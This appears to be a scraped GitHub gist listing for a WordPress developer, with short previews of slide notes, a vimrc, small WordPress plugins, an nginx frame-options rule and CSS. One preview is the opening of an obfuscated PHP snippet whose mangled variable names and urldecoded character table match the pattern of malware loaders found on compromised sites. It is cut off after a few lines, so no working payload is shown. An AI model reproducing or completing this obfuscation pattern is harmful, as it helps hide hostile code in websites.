- WordPressiä ajetaan yleensä LAMP-ympäristössä
- Useissa tapauksissa alimitoitetuissa Shared Hosting -ympäristöissä
- Mietitään miten WordPressin saa pyörimään mahdollisimman nopeasti!
- Kevyempi ja nopeampi kuin Apache -> Oton mittaukset
"" | |
" anttiviljami's vimrc | |
" | |
" twitter: @anttiviljami | |
" http://seravo.fi | |
" | |
"" | |
" Use Vim settings, rather than Vi settings (much better!). | |
" This must be first, because it changes other options as a side effect. |
I hereby claim:
To claim this, I am signing this object:
<?php | |
/** | |
* Plugin name: WooCommerce - Apply free shipping to all shipping methods | |
* Plugin URI: https://gist.github.com/anttiviljami/ad46752d23d622c07f82 | |
* Description: If Free Shipping is available, make other shipping options cost 0 and disable the 'Free Shipping' method | |
* Version: 1.0 | |
* Author: anttiviljami | |
* Author: https://github.com/anttiviljami | |
* License: GPLv3 | |
*/ |
<?php | |
/** | |
* Plugin name: Shadow Indicator | |
* Author: Antti Kuosmanen / Seravo Oy | |
* Version: 1.0 | |
* | |
* Show the user which environment we're in at all times | |
*/ | |
add_action('wp_head', '_indicate_environment'); | |
add_action('admin_notices', '_indicate_environment'); |
map $sent_http_x_wp_embed $frameoptions { | |
'' SAMEORIGIN; | |
'something' 'ALLOW-FROM http://mywebsite.com'; | |
} | |
server { | |
... | |
add_header X-Frame-Options $frameoptions; | |
} |
<?php | |
/** | |
* Plugin name: Allow email as WordPress Network/Multisite username | |
* Description: A wordpress mu-plugin that allows you to create users with email-addresses as usernames in multisite | |
* Version: 1.0 | |
* Author: @anttiviljami | |
* License: GPLv3 | |
*/ | |
add_filter( 'wpmu_validate_user_signup', '_signup_allow_email_as_username' ); |
.customize-support nav { position: relative; top: 32px; } | |
@media ( max-width: 782px ) { | |
.customize-support nav { position: relative; top: 46px; } | |
} | |
@media ( max-width: 600px ) { | |
.customize-support nav { position: absolute; top: 46px; } | |
} |
<?php | |
//header('Content-Type:text/html; charset=utf-8'); | |
$O0_0O0_O_O='J6Pn2HmH0e568SXnR6KRkmP5tQbh7KEW'; | |
$OOO0_0_O_0='mazama2648'; | |
$OO00O_O0__=1639; | |
$O0O00__OO_='B/A/C_rimu-molasses/laudanidine/D-E/'; | |
$O0OOO_00__=233; | |
$O0O0_0O__O=1; | |
$O__00_OO0O=array("coenenchyma","disinfestation","causable","intercept","antirattler","inveracity","forgery","errantly","beaverboard","hemoglobinocholia","hibito","affination","gourde","fustic","acroceraunian","battleship","areotectonics","inflexibility","hymnodical","monticoline","canny","exilement","leasehold","metastasis","absorbency");; | |
$O0_00OO__O=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O_0O__0O0O=$O0_00OO__O{26}.$O0_00OO__O{6}.$O0_00OO__O{10}.$O0_00OO__O{30}.$O0_00OO__O{29}.$O0_00OO__O{26}.$O0_00OO__O{30}.$O0_00OO__O{38}.$O0_00OO__O{6}.$O0_00OO__O{18}.$O0_00OO__O{23}.$O0_00OO__O{10}.$O0_00OO__O{29}.$O0_00OO__O{10}.$O0_00OO__O{12}.$O0_00OO__O{5}.$O0_00OO__O{30}.$O0_00OO__O{2}.$O0_00OO__O{35}.$O0_ |
asd |